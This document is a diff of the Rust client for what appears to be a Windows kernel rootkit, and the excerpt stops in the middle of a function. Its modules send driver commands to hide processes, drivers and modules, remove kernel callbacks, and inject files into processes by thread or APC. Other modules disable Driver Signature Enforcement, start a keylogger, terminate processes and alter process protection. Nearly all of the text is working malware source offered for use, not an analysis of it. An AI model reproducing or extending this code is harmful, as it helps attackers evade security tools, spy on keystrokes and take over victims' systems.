Err(err) => {
|
||||||
eprintln!("[!] UTF-16 decoding error: {:?}", err);
|
log::error!("UTF-16 decoding error: {:?}", err);
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
@@ -55,19 +65,27 @@ pub fn enumerate_callback(ioctl_code: u32, callback: &Callbacks) {
|
|||||||
println!("\tpost_operation: {:?}", i.post_operation as *mut c_void);
|
println!("\tpost_operation: {:?}", i.post_operation as *mut c_void);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
println!("");
|
||||||
|
log::info!("Callback enumeration completed")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
log::debug!("Closing the driver handle");
|
||||||
unsafe {
|
unsafe {
|
||||||
CloseHandle(h_file);
|
CloseHandle(h_file);
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn remove_callback(index: usize, ioctl_code: u32, callback: &Callbacks) {
|
pub fn remove_callback(index: usize, ioctl_code: u32, callback: &Callbacks) {
|
||||||
|
log::debug!("Attempting to open the driver to remove callback at index: {}", index);
|
||||||
let h_file = open_driver().expect("Failed to open driver");
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
|
||||||
|
log::debug!("Preparing structure to remove callback at index: {}", index);
|
||||||
let mut callback_info = CallbackInfoInput {
|
let mut callback_info = CallbackInfoInput {
|
||||||
index,
|
index,
|
||||||
callback: callback.to_shared()
|
callback: callback.to_shared()
|
||||||
};
|
};
|
||||||
|
|
||||||
|
log::debug!("Sending DeviceIoControl command to remove callback at index: {}", index);
|
||||||
let mut return_buffer = 0;
|
let mut return_buffer = 0;
|
||||||
let status = unsafe {
|
let status = unsafe {
|
||||||
DeviceIoControl(
|
DeviceIoControl(
|
||||||
@@ -83,20 +101,28 @@ pub fn remove_callback(index: usize, ioctl_code: u32, callback: &Callbacks) {
|
|||||||
};
|
};
|
||||||
|
|
||||||
if status == 0 {
|
if status == 0 {
|
||||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||||
|
} else {
|
||||||
|
log::info!("Successfully removed callback at index: {}", index);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
log::debug!("Closing the driver handle");
|
||||||
unsafe {
|
unsafe {
|
||||||
CloseHandle(h_file);
|
CloseHandle(h_file);
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn restore_callback(index: usize, ioctl_code: u32, callback: &Callbacks) {
|
pub fn restore_callback(index: usize, ioctl_code: u32, callback: &Callbacks) {
|
||||||
|
log::debug!("Attempting to open the driver to restore callback at index: {}", index);
|
||||||
let h_file = open_driver().expect("Failed to open driver");
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
|
||||||
|
log::debug!("Preparing structure to restore callback at index: {}", index);
|
||||||
let mut callback_info = CallbackInfoInput {
|
let mut callback_info = CallbackInfoInput {
|
||||||
index,
|
index,
|
||||||
callback: callback.to_shared()
|
callback: callback.to_shared()
|
||||||
};
|
};
|
||||||
|
|
||||||
|
log::debug!("Sending DeviceIoControl command to restore callback at index: {}", index);
|
||||||
let mut return_buffer = 0;
|
let mut return_buffer = 0;
|
||||||
let status = unsafe {
|
let status = unsafe {
|
||||||
DeviceIoControl(
|
DeviceIoControl(
|
||||||
@@ -112,9 +138,12 @@ pub fn restore_callback(index: usize, ioctl_code: u32, callback: &Callbacks) {
|
|||||||
};
|
};
|
||||||
|
|
||||||
if status == 0 {
|
if status == 0 {
|
||||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||||
|
} else {
|
||||||
|
log::info!("Successfully restored callback at index: {}", index);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
log::debug!("Closing the driver handle");
|
||||||
unsafe {
|
unsafe {
|
||||||
CloseHandle(h_file);
|
CloseHandle(h_file);
|
||||||
};
|
};
|
||||||
107
client/src/modules/driver.rs
Normal file
107
client/src/modules/driver.rs
Normal file
@@ -0,0 +1,107 @@
|
|||||||
|
use {
|
||||||
|
log::*,
|
||||||
|
crate::utils::open_driver,
|
||||||
|
core::mem::size_of,
|
||||||
|
shared::structs::{DriverInfo, TargetDriver},
|
||||||
|
std::{ffi::c_void, ptr::null_mut},
|
||||||
|
windows_sys::Win32::{
|
||||||
|
Foundation::{CloseHandle, GetLastError},
|
||||||
|
System::IO::DeviceIoControl
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
pub fn unhide_hide_driver(ioctl_code: u32, name: &String, enable: bool) {
|
||||||
|
debug!("Attempting to open the driver for {} operation", if enable { "hide" } else { "unhide" });
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
|
||||||
|
debug!("Preparing structure for: {}", name);
|
||||||
|
let mut info_driver = TargetDriver {
|
||||||
|
name: name.to_string(),
|
||||||
|
enable
|
||||||
|
};
|
||||||
|
|
||||||
|
debug!("Sending DeviceIoControl command to {} driver", if enable { "hide" } else { "unhide" });
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut info_driver as *mut _ as *mut c_void,
|
||||||
|
size_of::<TargetDriver>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut()
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError() });
|
||||||
|
} else {
|
||||||
|
info!("Driver successfully {}hidden", if enable { "" } else { "un" });
|
||||||
|
}
|
||||||
|
|
||||||
|
debug!("Closing the driver handle");
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn enumerate_driver(ioctl_code: u32) {
|
||||||
|
debug!("Attempting to open the driver for enumeration");
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
|
||||||
|
debug!("Allocating memory for driver info");
|
||||||
|
let mut driver_info: [DriverInfo; 400] = unsafe { std::mem::zeroed() };
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
|
||||||
|
debug!("Sending DeviceIoControl command to enumerate drivers");
|
||||||
|
let status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
driver_info.as_mut_ptr() as *mut _,
|
||||||
|
(driver_info.len() * size_of::<DriverInfo>()) as u32,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut()
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||||
|
} else {
|
||||||
|
let total_modules = return_buffer as usize / size_of::<DriverInfo>();
|
||||||
|
info!("Total modules found: {}", total_modules);
|
||||||
|
info!("Listing drivers:");
|
||||||
|
println!("");
|
||||||
|
|
||||||
|
for i in driver_info.iter() {
|
||||||
|
if i.address > 0 {
|
||||||
|
let name = match String::from_utf16(&i.name) {
|
||||||
|
Ok(name) => name,
|
||||||
|
Err(err) => {
|
||||||
|
error!("UTF-16 decoding error: {:?}", err);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
println!(
|
||||||
|
"[{:2}] {:#018x} {}",
|
||||||
|
i.index,
|
||||||
|
i.address,
|
||||||
|
name
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
println!("");
|
||||||
|
info!("Driver enumeration completed.");
|
||||||
|
}
|
||||||
|
|
||||||
|
debug!("Closing the driver handle");
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
@@ -1,5 +1,6 @@
|
|||||||
use {
|
use {
|
||||||
crate::{driver::open_driver, utils::check_file},
|
log::*,
|
||||||
|
crate::{utils::open_driver, utils::check_file},
|
||||||
core::ffi::c_void,
|
core::ffi::c_void,
|
||||||
shared::structs::TargetInjection,
|
shared::structs::TargetInjection,
|
||||||
std::ptr::null_mut,
|
std::ptr::null_mut,
|
||||||
@@ -7,62 +8,73 @@ use {
|
|||||||
};
|
};
|
||||||
|
|
||||||
pub fn injection_thread(ioctl_code: u32, pid: &u32, path: &String) {
|
pub fn injection_thread(ioctl_code: u32, pid: &u32, path: &String) {
|
||||||
println!("[*] Starting process injection for PID: {pid}, using file: {path}");
|
info!("Starting process injection for PID: {pid}, using file: {path}");
|
||||||
|
|
||||||
println!("[*] Attempting to open the driver...");
|
|
||||||
let h_file = open_driver().expect("Failed to open driver");
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
let status;
|
let status;
|
||||||
|
|
||||||
println!("[*] Preparing injection structure...");
|
info!("Checking if the file exists at the specified path");
|
||||||
let mut info_injection = TargetInjection {
|
|
||||||
path: path.to_string(),
|
|
||||||
pid: *pid as usize
|
|
||||||
};
|
|
||||||
|
|
||||||
println!("[*] Checking if the file exists at the specified path...");
|
|
||||||
if !check_file(path) {
|
if !check_file(path) {
|
||||||
eprintln!("[!] Error: File not found at the specified path: {path}. Please check the file path and try again.");
|
error!("File not found at the specified path: {path}. Please check the file path and try again");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
println!("[+] File found.");
|
info!("File found!!!");
|
||||||
let mut return_buffer = 0;
|
debug!("Preparing injection structure");
|
||||||
|
|
||||||
println!("[*] Initiating process injection...");
|
|
||||||
status = unsafe {
|
|
||||||
DeviceIoControl(
|
|
||||||
h_file,
|
|
||||||
ioctl_code,
|
|
||||||
&mut info_injection as *mut _ as *mut c_void,
|
|
||||||
std::mem::size_of::<TargetInjection>() as u32,
|
|
||||||
null_mut(),
|
|
||||||
0,
|
|
||||||
&mut return_buffer,
|
|
||||||
null_mut()
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
if status == 0 {
|
|
||||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
|
||||||
} else {
|
|
||||||
println!("[+] Success: Process injection was successfully performed on PID: {pid} using the file at path: {path}.");
|
|
||||||
}
|
|
||||||
|
|
||||||
println!("[*] Closing the driver handle...");
|
|
||||||
unsafe {
|
|
||||||
CloseHandle(h_file);
|
|
||||||
};
|
|
||||||
|
|
||||||
println!("[+] Driver handle closed. Injection process completed.");
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn injection_apc(ioctl_code: u32, pid: &u32, path: &String) {
|
|
||||||
let h_file = open_driver().expect("Failed to open driver");
|
|
||||||
let status;
|
|
||||||
let mut info_injection = TargetInjection {
|
let mut info_injection = TargetInjection {
|
||||||
path: path.to_string(),
|
path: path.to_string(),
|
||||||
pid: *pid as usize
|
pid: *pid as usize
|
||||||
};
|
};
|
||||||
|
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
|
||||||
|
debug!("Sending DeviceIoControl command to Process Injection");
|
||||||
|
status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut info_injection as *mut _ as *mut c_void,
|
||||||
|
std::mem::size_of::<TargetInjection>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut()
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
error!("DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||||
|
} else {
|
||||||
|
info!("Process injection was successfully performed on PID: {pid} using the file at path: {path}");
|
||||||
|
}
|
||||||
|
|
||||||
|
debug!("Closing the driver handle");
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn injection_apc(ioctl_code: u32, pid: &u32, path: &String) {
|
||||||
|
debug!("Starting APC injection for PID: {pid}, using file: {path}");
|
||||||
|
|
||||||
|
debug!("Attempting to open the driver");
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
let status;
|
||||||
|
|
||||||
|
info!("Checking if the file exists at the specified path");
|
||||||
|
if !check_file(path) {
|
||||||
|
error!("File not found at the specified path: {path}. Please check the file path and try again");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
info!("File found!!!");
|
||||||
|
debug!("Preparing injection structure");
|
||||||
|
let mut info_injection = TargetInjection {
|
||||||
|
path: path.to_string(),
|
||||||
|
pid: *pid as usize
|
||||||
|
};
|
||||||
|
|
||||||
|
debug!("Sending DeviceIoControl command to APC Injection");
|
||||||
let mut return_buffer = 0;
|
let mut return_buffer = 0;
|
||||||
status = unsafe {
|
status = unsafe {
|
||||||
DeviceIoControl(
|
DeviceIoControl(
|
||||||
@@ -78,11 +90,12 @@ pub fn injection_apc(ioctl_code: u32, pid: &u32, path: &String) {
|
|||||||
};
|
};
|
||||||
|
|
||||||
if status == 0 {
|
if status == 0 {
|
||||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
error!("DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||||
} else {
|
} else {
|
||||||
println!("[+] Process injection APC successfully performed on PID: {pid}");
|
info!("APC Injection successfully performed on PID: {pid}");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
debug!("Closing the driver handle");
|
||||||
unsafe {
|
unsafe {
|
||||||
CloseHandle(h_file);
|
CloseHandle(h_file);
|
||||||
};
|
};
|
||||||
76
client/src/modules/misc.rs
Normal file
76
client/src/modules/misc.rs
Normal file
@@ -0,0 +1,76 @@
|
|||||||
|
use {
|
||||||
|
log::*,
|
||||||
|
crate::utils::open_driver,
|
||||||
|
shared::structs::{Keylogger, DSE},
|
||||||
|
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
||||||
|
windows_sys::Win32::{
|
||||||
|
Foundation::{CloseHandle, GetLastError},
|
||||||
|
System::IO::DeviceIoControl
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
pub fn dse(ioctl_code: u32, enable: bool) {
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
|
||||||
|
debug!("Preparing DSE structure for {}", if enable { "enabling" } else { "disabling" });
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let mut info_dse = DSE {
|
||||||
|
enable
|
||||||
|
};
|
||||||
|
|
||||||
|
debug!("Sending DeviceIoControl command to {} DSE", if enable { "enable" } else { "disable" });
|
||||||
|
let status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut info_dse as *mut _ as *mut c_void,
|
||||||
|
size_of::<DSE>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut()
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError() });
|
||||||
|
} else {
|
||||||
|
info!("Driver Signature Enforcement (DSE) {}", if enable { "enable" } else { "disable" });
|
||||||
|
}
|
||||||
|
|
||||||
|
debug!("Closing the driver handle");
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn keylogger(ioctl_code: u32, state: bool) {
|
||||||
|
let h_file = open_driver().expect("Failed open driver");
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let mut keylogger = Keylogger {
|
||||||
|
enable: state
|
||||||
|
};
|
||||||
|
let status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut keylogger as *mut _ as *mut c_void,
|
||||||
|
std::mem::size_of::<Keylogger>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut()
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||||
|
} else {
|
||||||
|
info!("Keylogger {}", if state { "start" } else { "stop" })
|
||||||
|
}
|
||||||
|
|
||||||
|
debug!("Closing the driver handle");
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
9
client/src/modules/mod.rs
Normal file
9
client/src/modules/mod.rs
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
pub mod registry;
|
||||||
|
pub mod callback;
|
||||||
|
pub mod driver;
|
||||||
|
pub mod process;
|
||||||
|
pub mod misc;
|
||||||
|
pub mod thread;
|
||||||
|
pub mod injection;
|
||||||
|
pub mod module;
|
||||||
101
client/src/modules/module.rs
Normal file
101
client/src/modules/module.rs
Normal file
@@ -0,0 +1,101 @@
|
|||||||
|
use log::*;
|
||||||
|
use crate::utils::open_driver;
|
||||||
|
use shared::structs::{ModuleInfo, TargetModule, TargetProcess};
|
||||||
|
use std::{ffi::c_void, mem::size_of, ptr::null_mut};
|
||||||
|
use windows_sys::Win32::{
|
||||||
|
Foundation::{CloseHandle, GetLastError},
|
||||||
|
System::IO::DeviceIoControl,
|
||||||
|
};
|
||||||
|
|
||||||
|
pub fn enumerate_module(ioctl_code: u32, pid: &u32) {
|
||||||
|
info!("Attempting to enumerate modules for PID: {pid}");
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
|
||||||
|
debug!("Preparing structure for pid: {pid}");
|
||||||
|
let mut module_info: [ModuleInfo; 400] = unsafe { std::mem::zeroed() };
|
||||||
|
let mut input_module = TargetProcess {
|
||||||
|
pid: *pid as usize,
|
||||||
|
};
|
||||||
|
|
||||||
|
debug!("Sending DeviceIoControl command to enumerate modules for PID: {pid}");
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut input_module as *mut _ as *mut c_void,
|
||||||
|
size_of::<TargetProcess>() as u32,
|
||||||
|
module_info.as_mut_ptr() as *mut _,
|
||||||
|
(module_info.len() * size_of::<ModuleInfo>()) as u32,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut(),
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
error!("DeviceIoControl failed with status: 0x{:08X} for PID: {}", unsafe { GetLastError() }, pid);
|
||||||
|
} else {
|
||||||
|
let total_modules = return_buffer as usize / size_of::<ModuleInfo>();
|
||||||
|
info!("Total modules found for PID {pid}: {total_modules}");
|
||||||
|
info!("Listing modules:");
|
||||||
|
println!();
|
||||||
|
|
||||||
|
for module in module_info.iter() {
|
||||||
|
if module.address > 0 {
|
||||||
|
let name = match String::from_utf16(&module.name) {
|
||||||
|
Ok(name) => name,
|
||||||
|
Err(err) => {
|
||||||
|
error!("UTF-16 decoding error: {:?}", err);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
println!("[{}] {:p} {}", module.index, module.address as *mut c_void, name);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
println!();
|
||||||
|
info!("Module enumeration completed for PID: {pid}");
|
||||||
|
}
|
||||||
|
|
||||||
|
debug!("Closing the driver handle for PID: {pid}");
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn hide_module(ioctl_code: u32, name: &String, pid: u32) {
|
||||||
|
debug!("Attempting to open the module for hide operation");
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
|
||||||
|
debug!("Preparing structure for: {}", name);
|
||||||
|
let mut info_driver = TargetModule {
|
||||||
|
module_name: name.to_string(),
|
||||||
|
pid: pid as usize
|
||||||
|
};
|
||||||
|
|
||||||
|
debug!("Sending DeviceIoControl command to hide module");
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut info_driver as *mut _ as *mut c_void,
|
||||||
|
size_of::<TargetModule>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut()
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||||
|
} else {
|
||||||
|
info!("Module successfully hidden");
|
||||||
|
}
|
||||||
|
|
||||||
|
debug!("Closing the driver handle");
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
278
client/src/modules/process.rs
Normal file
278
client/src/modules/process.rs
Normal file
@@ -0,0 +1,278 @@
|
|||||||
|
use {
|
||||||
|
log::*,
|
||||||
|
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
||||||
|
windows_sys::Win32::{
|
||||||
|
Foundation::{CloseHandle, GetLastError},
|
||||||
|
System::IO::DeviceIoControl,
|
||||||
|
},
|
||||||
|
crate::{
|
||||||
|
utils::open_driver,
|
||||||
|
cli::{Options, PS_PROTECTED_SIGNER, PS_PROTECTED_TYPE}
|
||||||
|
},
|
||||||
|
shared::{
|
||||||
|
structs::{
|
||||||
|
EnumerateInfoInput, ProcessInfoHide, ProcessListInfo,
|
||||||
|
ProcessSignature, TargetProcess,
|
||||||
|
},
|
||||||
|
vars::MAX_PIDS,
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
pub fn hide_unhide_process(pid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||||
|
debug!("Attempting to open the driver for hide/unhide operation");
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
|
||||||
|
if let Some(pid_value) = pid {
|
||||||
|
debug!("Preparing structure for pid: {}", pid_value);
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let pid = *pid_value as usize;
|
||||||
|
let mut target_process = ProcessInfoHide {
|
||||||
|
enable,
|
||||||
|
pid,
|
||||||
|
};
|
||||||
|
|
||||||
|
debug!("Sending DeviceIoControl command to {} process", if enable { "hide" } else { "unhide" });
|
||||||
|
let status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut target_process as *mut _ as *mut c_void,
|
||||||
|
size_of::<ProcessInfoHide>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut(),
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
error!(
|
||||||
|
"DeviceIoControl Failed with status: 0x{:08X}",
|
||||||
|
unsafe { GetLastError() }
|
||||||
|
);
|
||||||
|
} else {
|
||||||
|
info!("Process with PID {} successfully {}hidden", pid, if enable { "" } else { "un" });
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
error!("PID not supplied");
|
||||||
|
}
|
||||||
|
|
||||||
|
debug!("Closing the driver handle");
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn terminate_process(pid: Option<&u32>, ioctl_code: u32) {
|
||||||
|
debug!("Attempting to open the driver for terminate operation");
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
|
||||||
|
if let Some(pid_value) = pid {
|
||||||
|
debug!("Preparing structure for pid: {}", pid_value);
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let pid = *pid_value as usize;
|
||||||
|
let mut target_process = TargetProcess { pid };
|
||||||
|
|
||||||
|
debug!("Sending DeviceIoControl command to terminate process");
|
||||||
|
let status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut target_process as *mut _ as *mut c_void,
|
||||||
|
size_of::<TargetProcess>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut(),
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||||
|
} else {
|
||||||
|
info!("Process with PID {} terminated successfully", pid);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
error!("PID not supplied");
|
||||||
|
}
|
||||||
|
|
||||||
|
debug!("Closing the driver handle");
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
pub fn protection_process(pid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||||
|
debug!("Attempting to open the driver for protection operation");
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
|
||||||
|
if let Some(pid_value) = pid {
|
||||||
|
debug!("Preparing structure for pid: {}", pid_value);
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let pid = *pid_value as usize;
|
||||||
|
let mut target_process = shared::structs::ProcessProtection { pid, enable };
|
||||||
|
|
||||||
|
debug!("Sending DeviceIoControl command to {} protection", if enable { "enable" } else { "disable" });
|
||||||
|
let status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut target_process as *mut _ as *mut c_void,
|
||||||
|
size_of::<shared::structs::ProcessProtection>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut(),
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }
|
||||||
|
);
|
||||||
|
} else {
|
||||||
|
info!("Process with PID {} {} protection", pid, if enable { "enabled" } else { "disabled" });
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
error!("PID not supplied");
|
||||||
|
}
|
||||||
|
|
||||||
|
debug!("Closing the driver handle");
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn enumerate_process(ioctl_code: u32, option: &Options) {
|
||||||
|
debug!("Attempting to open the driver for process enumeration");
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
let mut info_process: [ProcessListInfo; MAX_PIDS] = unsafe { std::mem::zeroed() };
|
||||||
|
let mut enumeration_input = EnumerateInfoInput {
|
||||||
|
options: option.to_shared(),
|
||||||
|
};
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
|
||||||
|
debug!("Sending DeviceIoControl command to enumerate processes");
|
||||||
|
let status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut enumeration_input as *mut _ as *mut c_void,
|
||||||
|
size_of::<EnumerateInfoInput>() as u32,
|
||||||
|
info_process.as_mut_ptr() as *mut _,
|
||||||
|
(info_process.len() * size_of::<ProcessListInfo>()) as u32,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut(),
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||||
|
} else {
|
||||||
|
let total_process = return_buffer as usize / size_of::<ProcessListInfo>();
|
||||||
|
info!("Total Processes: {}", total_process);
|
||||||
|
println!("Listing Processes:");
|
||||||
|
println!("");
|
||||||
|
for i in 0..total_process {
|
||||||
|
if info_process[i].pids > 0 {
|
||||||
|
println!("[{}] {}", i, info_process[i].pids);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
println!("");
|
||||||
|
}
|
||||||
|
|
||||||
|
debug!("Closing the driver handle");
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
pub fn signature_process(
|
||||||
|
pid: Option<&u32>,
|
||||||
|
ioctl_code: u32,
|
||||||
|
sg: &PS_PROTECTED_SIGNER,
|
||||||
|
tp: &PS_PROTECTED_TYPE,
|
||||||
|
) {
|
||||||
|
debug!("Attempting to open the driver for signature operation");
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
|
||||||
|
if let Some(pid_value) = pid {
|
||||||
|
debug!("Preparing structure for pid: {}", pid_value);
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let sg = *sg as usize;
|
||||||
|
let tp = *tp as usize;
|
||||||
|
let pid = *pid_value as usize;
|
||||||
|
let mut info_protection_process = ProcessSignature { pid, sg, tp };
|
||||||
|
|
||||||
|
debug!("Sending DeviceIoControl command to apply signature protection");
|
||||||
|
let status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut info_protection_process as *mut _ as *mut c_void,
|
||||||
|
size_of::<ProcessSignature>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut(),
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
